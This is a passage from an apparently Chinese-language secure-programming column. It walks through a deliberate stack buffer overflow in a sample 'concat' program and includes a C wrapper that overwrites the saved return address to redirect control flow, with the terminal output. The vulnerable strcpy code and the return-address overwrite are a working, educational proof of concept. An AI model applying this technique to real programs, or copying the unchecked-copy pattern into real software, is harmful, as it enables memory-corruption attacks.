当被调用者准备好返回时,调用者更新堆栈指针以指向返回地址。 ret 指令将程序控制传送到堆栈上的返回地址,然后移动堆栈指针来反映它。调用者恢复它想回复的任何状态(例如基指针),然后就可以顺利进行了。

现在我们重新开始实践,并弄清小程序运行时发生了什么。

完成执行被调用者的退出责任,然后跳回函数的顶部,从那里我们开始执行被调用者的入口责任。问题是我们完全忽略了调用者的责任。因为我们只是将控制传送回 concat_arguments ,所以调用者的责任就无关紧要了。但是当我们跳转至 concat_arguments 的顶部时,假设 main 在调用前应该完成的操作都未进行。

啊哈!当我们象以前一样跳转到函数开始时,有一件最重要的事情没有发生,即,没有将返回地址压入堆栈。结果堆栈指针上移了四个字节,这就弄乱了局部变量访问。然而,实际上导致崩溃的关键原因是在堆栈上缺少返回地址。当执行第二次到达 concat_arguments 末尾时,它尝试移动到堆栈上的返回地址 — 但是我们从未给过它返回地址。因此,当我们执行从堆栈中弹出时可能得到任何值,并且它们被保存为基指针。当然,我们只是已经使用 0x78787878 覆盖了保存的基指针。可怜的程序跳转到 0x78787878 并迅速崩溃。哎呀!

当然,实际上不必将程序放入无限循环中。我们已经演示了可以跳转到内存中的任意点然后运行代码。我们可以开始将注意力转向将漏洞检测代码放在堆栈上然后跳转到它们。我们也可以继续并让程序进入无限循环,只要确保我们已经掌握了材料。我们将在本专栏的下一篇文章中构建一个实际的利用。

这里是我们如何让程序进入无限循环。我们将返回地址更改成调用 concat_arguments 的一些指令,而不是将它更改成 concat_arguments 函数的顶部,因此将把一个有效的返回地址压入堆栈。如果将一个有效的返回地址返回堆栈,则基指针将是正确的,这意味着我们的输入将再一次覆盖正确位置处的返回地址,从而导致无限循环。

我们从 concat 的最新版本(它带有调试信息,但是没有打印堆栈内容的代码)开始。我们想打印函数 main 中调用指令的地址而不是 concat_arguments 的地址。我们如何获取该地址呢?不幸的是我们不能从 C 中获取该信息。我们必须从汇编语言中获得它。让我们象汇编语言一样编译 concat.c ,如下:

gcc -S concat.c

现在看一下 concat.s 的内容。您可能不熟悉汇编语言。这很好;不必能够理解大部分内容。只需要注意几件事情:

  1. 汇编代码中有许多标号,很象 C 中的 switch 切换标号。这些标号是您可以查看并跳转到的内存地址的抽象。例如,标号 concat_argumentsconcat_arguments 函数的起始点。这是到目前为止我们跳转到的地址。如果您能够读懂汇编语言,只要稍懂一点,那么您将注意到发生的第一件事是当前基指针被压入程序堆栈。
  2. 搜索 pushl $concat_arguments 这一行,因为该行获取标号 concat_arguments 的内存地址。我们想查看调用 concat_arguments 的内存地址,而不查看 concat_arguments 的内存地址。我们必须快速更新这行汇编程序。
  3. 搜索 call concat_arguments 这一行,因为这是我们想跳转到的代码位置。

现在我们已经挑出了汇编代码的重要功能。接下来需要找出一种方法来获取 call concat_arguments 代码的内存地址。完成该任务的方法是添加标号。我们将一行汇编语言更改成下列两行:

JMP_ADDR:
call concat_arguments

接下来我们需要更改行 pushl $concat_arguments 以获取感兴趣的标号的地址。

pushl $JMP_ADDR

此时,我们已经完成了对这个汇编代码所需的所有更改。保存它,然后使用下列命令来进行编译:

gcc -o concat concat.s

请注意我们现在正在编译 .s 文件而不是 .c 文件。

因此,如果现在运行 concat (或我们的封装器),该程序将打印出我们最终需要跳转到的内存地址。如果在封装器中运行 concat 将获取类似如下的输出:

[viega@lima bo]$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
i = 1; argc = 2
xxxxxxxxxxxxxxxxxxxxxxxx
0x804859f
Entering concat_arguments.
This should happen twice if our program jumps to the right place
xxxxxxxxxxxxxxxxxxxxxxxx
0x804859f
Segmentation fault (core dumped)

请注意内存地址与以前的不同了。让我们更改封装器以反映新的内存地址。

#include 
int main()
{
  char* buf = (char *)malloc(sizeof(char)*1024);
  char **arr = (char **)malloc(sizeof(char *)*3);
  int i;
  for(i=0;i<24;i++) buf[i] = 'x';
  buf[24] = 0x9f; /* Changed from 0xd4 on our machine */
  buf[25] = 0x85; /* Changed from 0x84 on our machine */
  buf[26] = 0x4;
  buf[27] = 0x8;
  buf[28] = 0x2;
  buf[29] = 0x00;
  arr[0] = "./concat";
  arr[1] = buf;
  arr[2] = '\0';
  execv("./concat", arr);
}

现在可以进行编译然后运行封装器了。

起作用了!无限循环!

但是等一下 ― 我们还没有解决问题呢。我们正在运行的 concat 版本中具有许多调试信息。结果是所有调试信息都导致 main 方法中的代码移动到它原本不会去的地方。这是什么意思呢?只有在我们除去所有调试代码并且尝试使用封装器时,才会获取下列输出:

[viega@lima bo]$ ./wrapconcat
xxxxxxxxxxxxxxxxxxxxxxxx
Illegal instruction (core dumped)
[viega@lima bo]$

这个输出建议将函数 concat_arguments 的代码放入比 main 代码更低的内存地址。很明显,我们需要获取要返回的真实内存地址。可以通过反复试验达到目的。例如,可以尝试将指针一次移动一个字节直到获取期望的结果。我们不能除去太多字节,对吗?但是,有一个较简单的方法。

让我们采用原始的 concat.c 并对它进行一点修改:

/* Collect program arguments into a buffer, then print the buffer */
void concat_arguments(int argc, char **argv)
{
  char buf[20];
  char *p = buf;
  int i;
  for(i=1;i<argc;i++)
    {
      strcpy(p, argv[i]);
      p+=strlen(argv[i]);
      if(i+1 != argc)
        {
          *p++ = ' '; /* Add a space back in */
        }
    }
  printf("%s\n", buf);
}
int main(int argc, char **argv)
{
  concat_arguments(argc, argv);
  printf("%p\n", &concat_arguments);
}

我们再次修改程序以打印出 concat_arguments 的地址。然而,这一次我们是在从 mainconcat_arguments 返回之后再完成该操作。因为 main 是放入内存中的最后一个函数,并且这个代码出现在我们感兴趣的调用之后,所以我们的改动不会影响调用的内存地址。接下来,我们必须完全象以前一样做一些汇编语言处理,然后相应地调整封装器。这次,我们可能获取地址 0x804856b ,正如预期的那样,它和我们以前一直使用的地址不同。修改封装器然后重新编译它之后,可以从 concat 中除去 printf 然后重新编译。

当您重新编译 concat 并运行封装器时,将注意到每件事都在按预期进行。最后我们得到了正确结果,并且希望能从中学到了一些知识。

后续内容

在这次的专栏文章中,我们已经了解了如何破坏堆栈(最终是为了防止别人这样做)。现在我们只要弄清如何构建我们自己的攻击代码,将它插入程序,然后跳转到这些攻击代码。我们将在下一篇专栏文章中讨论这个问题。

参考资料

developerWorks上“让您的软件运行起来”专栏中的相关文章:



Visual C++编程命名规则
任何时候都适用的20个C++技巧
C语言进阶
串口驱动分析
轻轻松松从C一路走到C++
C++编程思想
更多...   


C++并发处理+单元测试
C++程序开发
C++高级编程
C/C++开发
C++设计模式
C/C++单元测试


北京 嵌入式C高质量编程
中国航空 嵌入式C高质量编程
华为 C++高级编程
北京 C++高级编程
丹佛斯 C++高级编程
北大方正 C语言单元测试
罗克韦尔 C++单元测试
更多...